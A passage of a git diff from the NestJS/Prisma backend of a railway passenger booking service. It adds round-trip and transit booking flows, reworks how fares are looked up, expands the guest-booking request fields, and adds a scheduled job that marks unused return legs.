+ const retL2Origin = retL2Sched.stopTimes.find(s => s.stationId === dto.returnTransitStationId);
+ const retL2Dest = retL2Sched.stopTimes.find(s => s.stationId === dto.returnLeg2DestinationStationId);
+ if (!obL1Origin || !obL1Dest) throw new NotFoundException('Outbound leg-1: origin or transit station not found');
+ if (!obL2Origin || !obL2Dest) throw new NotFoundException('Outbound leg-2: transit or destination not found');
+ if (!retL1Origin || !retL1Dest) throw new NotFoundException('Return leg-1: origin or transit station not found');
+ if (!retL2Origin || !retL2Dest) throw new NotFoundException('Return leg-2: transit or destination not found');
+
+ const passengersData = await this.processRoundTripPassengers(dto.passengers as any[]);
+ const { adultCount, childCount } = this.countPassengers(passengersData);
+ const nat = passengersData[0]?.nationality;
+
+ const obL2SeatClassId = dto.leg2SeatClassId ?? dto.seatClassId;
+ const retL1SeatClassId = dto.returnSeatClassId ?? dto.seatClassId;
+ const retL2SeatClassId = dto.returnLeg2SeatClassId ?? dto.seatClassId;
+
+ const [obL1Fare, obL2Fare, retL1Fare, retL2Fare] = await Promise.all([
+ this.calculateFare(dto.scheduleId, dto.seatClassId, obL1Origin, obL1Dest, nat, adultCount, childCount),
+ this.calculateFare(dto.leg2ScheduleId, obL2SeatClassId, obL2Origin, obL2Dest, nat, adultCount, childCount),
+ this.calculateFare(dto.returnScheduleId, retL1SeatClassId, retL1Origin, retL1Dest, nat, adultCount, childCount),
+ this.calculateFare(dto.returnLeg2ScheduleId, retL2SeatClassId, retL2Origin, retL2Dest, nat, adultCount, childCount),
+ ]);
+
+ const combinedBase = obL1Fare.totalBaseFareMinor + obL2Fare.totalBaseFareMinor +
+ retL1Fare.totalBaseFareMinor + retL2Fare.totalBaseFareMinor;
+ let discountMinor = 0;
+ if (dto.promoCode) {
+ const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } });
+ if (promo?.active && promo.validUntil > new Date()) {
+ discountMinor = promo.percentOff ? Math.round(combinedBase * promo.percentOff / 100) : (promo.amountOffMinor ?? 0);
+ }
+ }
+ const loyaltyMinor = (dto.loyaltyRedemptionPoints ?? 0) * 10;
+ const taxesMinor = Math.round(combinedBase * 0.05);
+ const totalMinor = Math.max(0, combinedBase - discountMinor - loyaltyMinor + taxesMinor);
+ const displayCurrency = dto.displayCurrency || Currency.ETB;
+ const displayTotalMinor = displayCurrency !== Currency.ETB
+ ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency)
+ : totalMinor;
+
+ const makeSeat = (p: any, seatId: string, leg: number, scheduleId: string, fare: Awaited>) => ({
+ seat: { connect: { id: seatId } },
+ leg,
+ scheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData,
+ fareMinor: p.category === PassengerCategory.ADULT ? fare.baseFareMinor : (fare.paidChildrenCount > 0 ? fare.baseFareMinor : 0),
+ displayCurrency,
+ });
+
+ const booking = await this.prisma.booking.create({
+ data: {
+ bookingRef: generateRef(),
+ passengerId: dto.passengerId,
+ scheduleId: dto.scheduleId,
+ status: 'PENDING_PAYMENT',
+ bookingType: 'ROUND_TRIP_TRANSIT',
+ totalMinor, adultCount, childCount, displayCurrency, displayTotalMinor,
+ // Outbound transit leg-2
+ leg2ScheduleId: dto.leg2ScheduleId,
+ leg2OriginStationId: dto.transitStationId,
+ leg2DestinationStationId: dto.leg2DestinationStationId,
+ leg2SeatClassId: obL2SeatClassId,
+ // Return transit
+ returnScheduleId: dto.returnScheduleId,
+ returnOriginStationId: dto.returnOriginStationId,
+ returnDestinationStationId: dto.returnDestinationStationId,
+ returnSeatClassId: retL1SeatClassId,
+ returnLeg2ScheduleId: dto.returnLeg2ScheduleId,
+ returnLeg2OriginStationId: dto.returnTransitStationId,
+ returnLeg2DestStationId: dto.returnLeg2DestinationStationId,
+ returnLeg2SeatClassId: retL2SeatClassId,
+ returnLegStatus: 'NEITHER_USED',
+ seats: {
+ create: [
+ // Outbound leg-1 (sequence 1)
+ ...passengersData.map(p => makeSeat(p, p.outboundSeatId, 1, dto.scheduleId, obL1Fare)),
+ // Outbound leg-2 (sequence 2)
+ ...passengersData.map(p => makeSeat(p, p.outboundLeg2SeatId ?? p.outboundSeatId, 2, dto.leg2ScheduleId!, obL2Fare)),
+ // Return leg-1 (sequence 3)
+ ...passengersData.map(p => makeSeat(p, p.returnSeatId, 3, dto.returnScheduleId!, retL1Fare)),
+ // Return leg-2 (sequence 4)
+ ...passengersData.map(p => makeSeat(p, p.returnLeg2SeatId ?? p.returnSeatId, 4, dto.returnLeg2ScheduleId!, retL2Fare)),
+ ],
+ },
+ } as any,
+ include: { seats: { include: { seat: true } }, schedule: { include: { originStation: true, destinationStation: true, train: true } } },
+ });
+
+ await Promise.all([
+ this.seatsService.confirmSeats(passengersData.map(p => p.outboundSeatId)),
+ this.seatsService.confirmSeats(passengersData.map(p => p.outboundLeg2SeatId ?? p.outboundSeatId)),
+ this.seatsService.confirmSeats(passengersData.map(p => p.returnSeatId)),
+ this.seatsService.confirmSeats(passengersData.map(p => p.returnLeg2SeatId ?? p.returnSeatId)),
+ ]);
+ this.eventEmitter.emit('booking.created', { booking });
+
+ return {
+ ...booking,
+ fareBreakdown: {
+ outboundLeg1FareMinor: obL1Fare.baseFareMinor,
+ outboundLeg2FareMinor: obL2Fare.baseFareMinor,
+ returnLeg1FareMinor: retL1Fare.baseFareMinor,
+ returnLeg2FareMinor: retL2Fare.baseFareMinor,
+ adultCount, childCount,
+ freeChildrenCount: Math.min(childCount, 1),
+ paidChildrenCount: obL1Fare.paidChildrenCount,
+ combinedBaseFareMinor: combinedBase,
+ discountMinor, loyaltyRedemptionMinor: loyaltyMinor,
+ taxesFeesMinor: taxesMinor, totalMinor,
+ currency: 'ETB', displayCurrency, displayTotalMinor,
+ },
+ };
+ }
+
private async processPassengers(passengers: any[]) {
const processedPassengers = [];
for (const passenger of passengers) {
@@ -560,76 +886,69 @@ export class BookingsService {
destStopSeq?: number,
): Promise {
const now = new Date();
-
- // Get schedule with route info
+
+ // 1. SegmentFareRule — most specific explicit price
const schedule = await this.prisma.trainSchedule.findUnique({
where: { id: scheduleId },
- include: { route: true },
+ select: { routeId: true, originStationId: true, destinationStationId: true },
});
-
- // Try segment fare rule first (most specific) if route info available
+
if (schedule?.routeId && originStopSeq !== undefined && destStopSeq !== undefined) {
- // Try with nationality first
const segmentFare = await this.prisma.segmentFareRule.findFirst({
where: {
routeId: schedule.routeId,
originStopSequence: originStopSeq,
destinationStopSequence: destStopSeq,
seatClassId,
- nationality: nationality || null,
+ nationality: nationality ?? null,
validFrom: { lte: now },
- OR: [
- { validUntil: null },
- { validUntil: { gte: now } },
- ],
+ OR: [{ validUntil: null }, { validUntil: { gte: now } }],
},
- });
-
- if (segmentFare) {
- return segmentFare.baseFareMinor;
- }
-
- // If no segment fare with nationality, try without nationality filter
- if (nationality) {
- const segmentFareAny = await this.prisma.segmentFareRule.findFirst({
- where: {
- routeId: schedule.routeId,
- originStopSequence: originStopSeq,
- destinationStopSequence: destStopSeq,
- seatClassId,
- nationality: null,
- validFrom: { lte: now },
- OR: [
- { validUntil: null },
- { validUntil: { gte: now } },
- ],
- },
- });
- if (segmentFareAny) return segmentFareAny.baseFareMinor;
- }
+ }) ?? (nationality ? await this.prisma.segmentFareRule.findFirst({
+ where: {
+ routeId: schedule.routeId,
+ originStopSequence: originStopSeq,
+ destinationStopSequence: destStopSeq,
+ seatClassId,
+ nationality: null,
+ validFrom: { lte: now },
+ OR: [{ validUntil: null }, { validUntil: { gte: now } }],
+ },
+ }) : null);
+
+ if (segmentFare) return segmentFare.baseFareMinor;
}
-
- // Fall back to fare rules if no segment fare found
+
+ // 2. FareRule table — explicit override rules
const candidates = await this.prisma.fareRule.findMany({
where: {
seatClassId,
validFrom: { lte: now },
- OR: [
- { validUntil: null },
- { validUntil: { gte: now } },
- ],
+ OR: [{ validUntil: null }, { validUntil: { gte: now } }],
},
});
+ const bestMatch = this.selectBestFareRule(candidates, scheduleId, segmentRoute, fullRoute, nationality);
+ if (bestMatch) return bestMatch.baseFareMinor;
- const bestMatch = this.selectBestFareRule(
- candidates,
- scheduleId,
- segmentRoute,
- fullRoute,
- nationality,
+ // 3. FareEngine — distance × rate-per-km from the schedule's route
+ if (schedule?.routeId) {
+ try {
+ const fare = await this.fareEngine.calculate({
+ routeId: schedule.routeId,
+ originStationId: schedule.originStationId,
+ destinationStationId: schedule.destinationStationId,
+ seatClassId,
+ nationality,
+ });
+ return fare.baseFarePerPassengerMinor;
+ } catch {
+ // FareEngine throws if distanceKm is missing; fall through to error
+ }
+ }
+
+ throw new BadRequestException(
+ `No fare configured for this schedule and seat class. Please set up fare rules or route distances.`,
);
-
- return bestMatch?.baseFareMinor ?? 35000;
}
async getByRef(bookingRef: string) {
@@ -646,7 +965,11 @@ export class BookingsService {
id: booking.id, bookingRef: booking.bookingRef, status: booking.status,
totalFare: booking.totalMinor / 100, adultCount: booking.adultCount, childCount: booking.childCount,
displayCurrency: booking.displayCurrency, displayTotalFare: booking.displayTotalMinor ? booking.displayTotalMinor / 100 : undefined,
- bookingType: booking.bookingType, createdAt: booking.createdAt,
+ bookingType: booking.bookingType,
+ returnLegStatus: (booking as any).returnLegStatus ?? null,
+ outboundBoardedAt: (booking as any).outboundBoardedAt ?? null,
+ returnBoardedAt: (booking as any).returnBoardedAt ?? null,
+ createdAt: booking.createdAt,
schedule: {
number: booking.schedule.train.number,
origin: { id: booking.schedule.originStation.id, name: booking.schedule.originStation.name, code: booking.schedule.originStation.code, city: booking.schedule.originStation.city },
@@ -684,6 +1007,7 @@ export class BookingsService {
await this.prisma.bookingCancellation.create({ data: { bookingId: booking.id, cancelledBy: booking.passengerId, reason, refundAmount, refundMethod: booking.paymentIntent?.method ?? 'ORIGINAL', refundStatus: 'PENDING' } });
await this.seatsService.releaseSeats(booking.seats.map((s) => s.seatId));
await this.prisma.booking.update({ where: { bookingRef }, data: { status: 'CANCELLED' } });
+ this.eventEmitter.emit('booking.cancelled', { booking, refundAmount });
return { cancelled: true, refundAmount: refundAmount / 100, currency: 'ETB' };
}
@@ -751,6 +1075,37 @@ export class BookingsService {
}
}
+ // Mark round-trip bookings where the return train has departed but the return leg
+ // was never scanned. Runs every minute; only acts on CONFIRMED bookings whose
+ // returnSchedule.departureAt is in the past and returnBoardedAt is still null.
+ @Cron(CronExpression.EVERY_MINUTE)
+ async markReturnLegNoShows() {
+ const now = new Date();
+ const graceCutoff = new Date(now.getTime() - 30 * 60 * 1000);
+
+ const candidates = await this.prisma.booking.findMany({
+ where: {
+ bookingType: 'ROUND_TRIP',
+ status: 'CONFIRMED',
+ returnLegStatus: 'NEITHER_USED' as any,
+ outboundBoardedAt: { not: null },
+ returnBoardedAt: null,
+ returnScheduleId: { not: null },
+ },
+ include: { returnSchedule: { select: { departureAt: true } } },
+ } as any);
+
+ for (const b of candidates) {
+ const returnDep: Date | undefined = (b as any).returnSchedule?.departureAt;
+ if (returnDep && returnDep < graceCutoff) {
+ await this.prisma.booking.update({
+ where: { id: b.id },
+ data: { returnLegStatus: 'OUTBOUND_ONLY' } as any,
+ });
+ }
+ }
+ }
+
private selectBestFareRule(
candidates: any[],
scheduleId: string,
diff --git a/apps/edr-passenger-api/src/modules/bookings/guest-booking.dto.ts b/apps/edr-passenger-api/src/modules/bookings/guest-booking.dto.ts
index 8fca71aea..d3d1e206d 100644
--- a/apps/edr-passenger-api/src/modules/bookings/guest-booking.dto.ts
+++ b/apps/edr-passenger-api/src/modules/bookings/guest-booking.dto.ts
@@ -4,9 +4,18 @@ import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger';
import { Currency, IdDocumentType } from '@prisma/client';
export class GuestPassengerDto {
- @ApiProperty({ example: 'seat-id-uuid' })
+ @ApiProperty({ example: 'seat-uuid', description: 'Outbound / leg-1 seat ID (all booking types)' })
@IsString() seatId: string;
+ @ApiPropertyOptional({ example: 'return-seat-uuid', description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return leg-1 seat ID. Required for ROUND_TRIP and ROUND_TRIP_TRANSIT.' })
+ @IsOptional() @IsString() returnSeatId?: string;
+
+ @ApiPropertyOptional({ example: 'leg2-seat-uuid', description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Outbound leg-2 seat ID. Required for TRANSIT and ROUND_TRIP_TRANSIT.' })
+ @IsOptional() @IsString() leg2SeatId?: string;
+
+ @ApiPropertyOptional({ example: 'ret-leg2-seat-uuid', description: '**ROUND_TRIP_TRANSIT:** Return leg-2 seat ID. Required for ROUND_TRIP_TRANSIT.' })
+ @IsOptional() @IsString() returnLeg2SeatId?: string;
+
@ApiProperty({ example: 'Abebe Kebede' })
@IsString() passengerName: string;
@@ -36,24 +45,88 @@ export class GuestPassengerDto {
}
export class CreateGuestBookingDto {
- @ApiProperty({ example: 'schedule-uuid' })
+ @ApiPropertyOptional({
+ example: 'ONE_WAY',
+ enum: ['ONE_WAY', 'ROUND_TRIP', 'TRANSIT', 'ROUND_TRIP_TRANSIT'],
+ default: 'ONE_WAY',
+ description: `Booking type:
+**ONE_WAY:** scheduleId + holdId. Passenger: seatId.
+**ROUND_TRIP:** above + returnScheduleId/returnHoldId/returnOriginStationId/returnDestinationStationId. Passenger: seatId + returnSeatId.
+**TRANSIT:** above + leg2ScheduleId/leg2HoldId/transitStationId/leg2DestinationStationId. Passenger: seatId + leg2SeatId.
+**ROUND_TRIP_TRANSIT:** all 4 hold sets + all station fields. Passenger: seatId + leg2SeatId + returnSeatId + returnLeg2SeatId.`
+ })
+ @IsOptional() @IsString() bookingType?: 'ONE_WAY' | 'ROUND_TRIP' | 'TRANSIT' | 'ROUND_TRIP_TRANSIT';
+
+ @ApiProperty({ example: 'schedule-uuid', description: 'Outbound / leg-1 schedule UUID' })
@IsString() scheduleId: string;
- @ApiProperty({ example: 'hold-uuid' })
+ @ApiProperty({ example: 'hold-uuid', description: 'Outbound seat hold UUID' })
@IsString() holdId: string;
- @ApiProperty({ example: 'station-uuid', description: 'Origin station UUID' })
+ @ApiProperty({ example: 'station-uuid', description: 'Outbound origin station UUID' })
@IsString() originStationId: string;
- @ApiProperty({ example: 'station-uuid', description: 'Destination station UUID' })
+ @ApiProperty({ example: 'station-uuid', description: 'Outbound destination station UUID' })
@IsString() destinationStationId: string;
- @ApiProperty({ type: [GuestPassengerDto], description: 'Array of passengers. First passenger details used for contact.' })
- @IsArray() @ValidateNested({ each: true }) @Type(() => GuestPassengerDto) passengers: GuestPassengerDto[];
-
- @ApiProperty({ example: 'seat-class-uuid', description: 'Seat class UUID' })
+ @ApiProperty({ example: 'seat-class-uuid', description: 'Outbound seat class UUID' })
@IsString() seatClassId: string;
+ @ApiPropertyOptional({ example: 'seat-class-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return seat class UUID' })
+ @IsOptional() @IsString() returnSeatClassId?: string;
+
+ @ApiPropertyOptional({ example: 'schedule-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: leg-2 schedule UUID' })
+ @IsOptional() @IsString() leg2ScheduleId?: string;
+
+ @ApiPropertyOptional({ example: 'hold-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: leg-2 seat hold UUID' })
+ @IsOptional() @IsString() leg2HoldId?: string;
+
+ @ApiPropertyOptional({ example: 'station-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: connecting station UUID' })
+ @IsOptional() @IsString() transitStationId?: string;
+
+ @ApiPropertyOptional({ example: 'station-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: leg-2 destination station UUID' })
+ @IsOptional() @IsString() leg2DestinationStationId?: string;
+
+ @ApiPropertyOptional({ example: 'seat-class-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: leg-2 seat class UUID' })
+ @IsOptional() @IsString() leg2SeatClassId?: string;
+
+ @ApiPropertyOptional({ example: 'schedule-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return leg-1 schedule UUID' })
+ @IsOptional() @IsString() returnScheduleId?: string;
+
+ @ApiPropertyOptional({ example: 'hold-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return seat hold UUID' })
+ @IsOptional() @IsString() returnHoldId?: string;
+
+ @ApiPropertyOptional({ example: 'station-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return origin station UUID' })
+ @IsOptional() @IsString() returnOriginStationId?: string;
+
+ @ApiPropertyOptional({ example: 'station-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return destination station UUID' })
+ @IsOptional() @IsString() returnDestinationStationId?: string;
+
+ @ApiPropertyOptional({ example: 'schedule-uuid', description: 'ROUND_TRIP_TRANSIT: return leg-2 schedule UUID' })
+ @IsOptional() @IsString() returnLeg2ScheduleId?: string;
+
+ @ApiPropertyOptional({ example: 'hold-uuid', description: 'ROUND_TRIP_TRANSIT: return leg-2 seat hold UUID' })
+ @IsOptional() @IsString() returnLeg2HoldId?: string;
+
+ @ApiPropertyOptional({ example: 'station-uuid', description: 'ROUND_TRIP_TRANSIT: return transit station UUID' })
+ @IsOptional() @IsString() returnTransitStationId?: string;
+
+ @ApiPropertyOptional({ example: 'station-uuid', description: 'ROUND_TRIP_TRANSIT: return leg-2 destination station UUID' })
+ @IsOptional() @IsString() returnLeg2DestinationStationId?: string;
+
+ @ApiPropertyOptional({ example: 'seat-class-uuid', description: 'ROUND_TRIP_TRANSIT: return leg-2 seat class UUID' })
+ @IsOptional() @IsString() returnLeg2SeatClassId?: string;
+
+ @ApiProperty({
+ type: [GuestPassengerDto],
+ description: `Passenger array. Required seat fields vary by bookingType:
+- ONE_WAY: seatId
+- ROUND_TRIP: seatId + returnSeatId
+- TRANSIT: seatId + leg2SeatId
+- ROUND_TRIP_TRANSIT: seatId + leg2SeatId + returnSeatId + returnLeg2SeatId`
+ })
+ @IsArray() @ValidateNested({ each: true }) @Type(() => GuestPassengerDto) passengers: GuestPassengerDto[];
+
@ApiPropertyOptional({ example: 'WEEKEND15' })
@IsOptional() @IsString() promoCode?: string;
@@ -66,7 +139,7 @@ export class CreateGuestBookingDto {
@ApiPropertyOptional({ example: 'password123', description: 'Password if createAccount is true' })
@IsOptional() @IsString() password?: string;
- @ApiPropertyOptional({ example: true, description: 'Save passenger details for future bookings (requires createAccount)' })
+ @ApiPropertyOptional({ example: true, description: 'Save passenger details for future bookings' })
@IsOptional() @IsBoolean() savePassengerDetails?: boolean;
@ApiPropertyOptional({ example: 'device-uuid-12345', description: 'Device ID for local storage of passenger details' })
diff --git a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts
index 93cbda7b0..48b84c4b6 100644
--- a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts
+++ b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts
@@ -3,6 +3,7 @@ import { PrismaService } from '../../common/prisma.service';
import { SeatsService } from '../seats/seats.service';
import { VerifaydaService } from '../verifayda/verifayda.service';
import { CurrencyService } from '../currency/currency.service';
+import { FareEngineService } from '../fare-engine/fare-engine.service';
import { EventEmitter2 } from '@nestjs/event-emitter';
import { CreateGuestBookingDto, SavedPassengerProfileDto } from './guest-booking.dto';
import { Currency, PassengerCategory, IdDocumentType } from '@prisma/client';
@@ -28,10 +29,18 @@ export class GuestBookingService {
private seatsService: SeatsService,
private verifaydaService: VerifaydaService,
private currencyService: CurrencyService,
+ private fareEngine: FareEngineService,
private eventEmitter: EventEmitter2,
) {}
async createGuestBooking(dto: CreateGuestBookingDto) {
+ if (dto.bookingType === 'ROUND_TRIP') return this.createGuestRoundTripBooking(dto);
+ if (dto.bookingType === 'TRANSIT') return this.createGuestTransitBooking(dto);
+ if (dto.bookingType === 'ROUND_TRIP_TRANSIT') return this.createGuestRoundTripTransitBooking(dto);
+ return this.createGuestOneWayBooking(dto);
+ }
+
+ private async createGuestOneWayBooking(dto: CreateGuestBookingDto) {
// Validate hold
const hold = await this.prisma.seatHold.findUnique({ where: { id: dto.holdId } });
if (!hold || hold.expiresAt < new Date()) {
@@ -157,76 +166,7 @@ export class GuestBookingService {
// Create or get guest passenger
const firstPassenger = passengersData[0];
- let guestPassenger = null;
- let userId = null;
- let createdAccount = false;
-
- // Optional account creation
- if (dto.createAccount && firstPassenger.email && dto.password) {
- const existingUser = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } });
- if (existingUser) {
- throw new BadRequestException('Email already registered. Please login instead.');
- }
-
- let accountPhone = firstPassenger.phone || null;
- if (accountPhone) {
- const existingPhone = await this.prisma.user.findUnique({ where: { phone: accountPhone } });
- if (existingPhone) throw new BadRequestException('Phone number already registered. Please login instead.');
- }
- if (!accountPhone) accountPhone = `+guest-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`;
-
- const passwordHash = await bcrypt.hash(dto.password, 10);
- const user = await this.prisma.user.create({
- data: {
- fullName: firstPassenger.passengerName,
- email: firstPassenger.email,
- phone: accountPhone,
- passwordHash,
- nationality: firstPassenger.nationality,
- nationalId: firstPassenger.idDocumentType === IdDocumentType.NATIONAL_ID ? firstPassenger.idDocumentNumber : undefined,
- passportNumber: firstPassenger.passportNumber,
- },
- });
-
- guestPassenger = await this.prisma.passenger.create({ data: { userId: user.id } });
- await this.prisma.loyaltyAccount.create({ data: { passengerId: guestPassenger.id, pointsBalance: 0, tier: 'BRONZE' } });
- await this.prisma.walletAccount.create({ data: { passengerId: guestPassenger.id, balanceMinor: 0 } });
-
- userId = user.id;
- createdAccount = true;
- } else {
- // Create anonymous guest passenger with minimal data
- const uniqueId = `${Date.now()}-${Math.random().toString(36).substring(2, 9)}`;
-
- // Check if email exists and use a unique guest email if it does
- let guestEmail = firstPassenger.email || `guest-${uniqueId}@edr-platform.com`;
- if (firstPassenger.email) {
- const existingUser = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } });
- if (existingUser) {
- // Email exists, use guest email instead for anonymous booking
- guestEmail = `guest-${uniqueId}@edr-platform.com`;
- }
- }
-
- // Use a guaranteed-unique guest phone to avoid constraint collisions
- let guestPhone = firstPassenger.phone || null;
- if (guestPhone) {
- const existingPhone = await this.prisma.user.findUnique({ where: { phone: guestPhone } });
- if (existingPhone) guestPhone = null;
- }
- if (!guestPhone) guestPhone = `+guest-${uniqueId}`;
-
- const tempUser = await this.prisma.user.create({
- data: {
- fullName: firstPassenger.passengerName,
- email: guestEmail,
- phone: guestPhone,
- passwordHash: await bcrypt.hash(Math.random().toString(36), 10),
- role: 'PASSENGER',
- },
- });
- guestPassenger = await this.prisma.passenger.create({ data: { userId: tempUser.id } });
- }
+ const { guestPassenger, userId, createdAccount } = await this.resolveGuestPassenger(dto, firstPassenger);
// Save passenger details for future use (if requested)
if (dto.savePassengerDetails && (dto.createAccount || dto.deviceId)) {
@@ -302,6 +242,649 @@ export class GuestBookingService {
};
}
+ private async createGuestRoundTripBooking(dto: CreateGuestBookingDto) {
+ if (!dto.returnScheduleId || !dto.returnHoldId || !dto.returnOriginStationId || !dto.returnDestinationStationId) {
+ throw new BadRequestException('returnScheduleId, returnHoldId, returnOriginStationId and returnDestinationStationId are required for ROUND_TRIP');
+ }
+
+ // Validate both holds
+ const [outboundHold, returnHold] = await Promise.all([
+ this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.returnHoldId } }),
+ ]);
+ if (!outboundHold || outboundHold.expiresAt < new Date()) throw new BadRequestException('Outbound seat hold expired or not found');
+ if (!returnHold || returnHold.expiresAt < new Date()) throw new BadRequestException('Return seat hold expired or not found');
+
+ // Validate passengers have returnSeatId
+ for (const p of dto.passengers) {
+ if (!p.returnSeatId) throw new BadRequestException(`returnSeatId is required for each passenger in a ROUND_TRIP booking (missing for ${p.passengerName})`);
+ }
+
+ // Load both schedules
+ const [outboundSchedule, returnSchedule] = await Promise.all([
+ this.prisma.trainSchedule.findUnique({
+ where: { id: dto.scheduleId },
+ include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } },
+ }),
+ this.prisma.trainSchedule.findUnique({
+ where: { id: dto.returnScheduleId },
+ include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } },
+ }),
+ ]);
+ if (!outboundSchedule) throw new NotFoundException('Outbound schedule not found');
+ if (!returnSchedule) throw new NotFoundException('Return schedule not found');
+
+ const outboundOriginStop = outboundSchedule.stopTimes.find(s => s.stationId === dto.originStationId);
+ const outboundDestStop = outboundSchedule.stopTimes.find(s => s.stationId === dto.destinationStationId);
+ const returnOriginStop = returnSchedule.stopTimes.find(s => s.stationId === dto.returnOriginStationId);
+ const returnDestStop = returnSchedule.stopTimes.find(s => s.stationId === dto.returnDestinationStationId);
+ if (!outboundOriginStop || !outboundDestStop) throw new NotFoundException('Outbound origin or destination not found on schedule');
+ if (!returnOriginStop || !returnDestStop) throw new NotFoundException('Return origin or destination not found on schedule');
+
+ const outboundSegmentRoute = `${outboundOriginStop.station.code}-${outboundDestStop.station.code}`;
+ const outboundFullRoute = `${outboundSchedule.originStation.code}-${outboundSchedule.destinationStation.code}`;
+ const returnSegmentRoute = `${returnOriginStop.station.code}-${returnDestStop.station.code}`;
+ const returnFullRoute = `${returnSchedule.originStation.code}-${returnSchedule.destinationStation.code}`;
+
+ // Process passengers (verify identity once — same person travels both legs)
+ const passengersData: any[] = [];
+ let adultCount = 0, childCount = 0;
+
+ for (const passenger of dto.passengers) {
+ const dateOfBirth = new Date(passenger.dateOfBirth);
+ const age = calculateAge(dateOfBirth);
+ const category: PassengerCategory = age < 5 ? PassengerCategory.CHILD : PassengerCategory.ADULT;
+ if (category === PassengerCategory.ADULT) adultCount++; else childCount++;
+
+ let passengerName = passenger.passengerName;
+ let verifaydaVerified = false;
+ let verifaydaData: Record | undefined;
+ let nationality = passenger.nationality;
+
+ const isEthiopian = passenger.nationality === 'Ethiopian' ||
+ passenger.nationality === 'ETHIOPIAN' ||
+ passenger.idDocumentType === IdDocumentType.NATIONAL_ID;
+
+ if (isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID) {
+ if (passenger.idDocumentNumber) {
+ const verification = await this.verifaydaService.verifyNationalId(passenger.idDocumentNumber);
+ if (!verification.verified) throw new BadRequestException(`Verifayda verification failed for ${passenger.passengerName}: ${verification.failureReason}`);
+ passengerName = verification.passengerData?.fullName || passengerName;
+ verifaydaVerified = true;
+ verifaydaData = verification.passengerData?.profileData;
+ }
+ nationality = 'Ethiopian';
+ } else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) {
+ if (!passenger.passportNumber || !passenger.passportCountry) throw new BadRequestException(`Passport number and country required for ${passenger.passengerName}`);
+ nationality = nationality || (passenger.passportCountry === 'Djibouti' ? 'Djiboutian' : 'Other');
+ } else if (isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) {
+ nationality = 'Ethiopian';
+ } else {
+ nationality = nationality || 'Other';
+ }
+
+ passengersData.push({ ...passenger, passengerName, dateOfBirth, category, verifaydaVerified, verifaydaData, nationality });
+ }
+
+ // Calculate fares for both legs
+ const returnSeatClassId = dto.returnSeatClassId || dto.seatClassId;
+ const primaryNationality = passengersData[0]?.nationality;
+
+ const [outboundBaseFare, returnBaseFare] = await Promise.all([
+ this.getBaseFare(dto.scheduleId, dto.seatClassId, outboundSegmentRoute, outboundFullRoute, primaryNationality),
+ this.getBaseFare(dto.returnScheduleId, returnSeatClassId, returnSegmentRoute, returnFullRoute, primaryNationality),
+ ]);
+
+ const paidChildrenCount = Math.max(0, childCount - 1);
+ const outboundTotalBase = outboundBaseFare * adultCount + outboundBaseFare * paidChildrenCount;
+ const returnTotalBase = returnBaseFare * adultCount + returnBaseFare * paidChildrenCount;
+ const combinedBaseFareMinor = outboundTotalBase + returnTotalBase;
+
+ let discountMinor = 0;
+ if (dto.promoCode) {
+ const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } });
+ if (promo?.active && promo.validUntil > new Date()) {
+ discountMinor = promo.percentOff
+ ? Math.round(combinedBaseFareMinor * promo.percentOff / 100)
+ : (promo.amountOffMinor ?? 0);
+ }
+ }
+
+ const taxesMinor = Math.round(combinedBaseFareMinor * 0.05);
+ const totalMinor = Math.max(0, combinedBaseFareMinor - discountMinor + taxesMinor);
+
+ const displayCurrency = dto.displayCurrency || Currency.ETB;
+ const displayTotalMinor = displayCurrency !== Currency.ETB
+ ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency)
+ : totalMinor;
+
+ // Create or resolve guest passenger (same as one-way)
+ const { guestPassenger, userId, createdAccount } = await this.resolveGuestPassenger(dto, passengersData[0]);
+
+ // Create booking with outbound seats; return seats confirmed separately
+ const outboundSeatIds = dto.passengers.map(p => p.seatId);
+ const returnSeatIds = dto.passengers.map(p => p.returnSeatId!);
+
+ const booking = await this.prisma.booking.create({
+ data: {
+ bookingRef: generateRef(),
+ passengerId: guestPassenger.id,
+ scheduleId: dto.scheduleId,
+ status: 'PENDING_PAYMENT',
+ bookingType: 'ROUND_TRIP',
+ totalMinor,
+ adultCount,
+ childCount,
+ displayCurrency,
+ displayTotalMinor,
+ returnScheduleId: dto.returnScheduleId,
+ returnOriginStationId: dto.returnOriginStationId,
+ returnDestinationStationId: dto.returnDestinationStationId,
+ returnHoldId: dto.returnHoldId,
+ returnSeatClassId,
+ returnLegStatus: 'NEITHER_USED',
+ userAgent: dto.deviceId,
+ seats: {
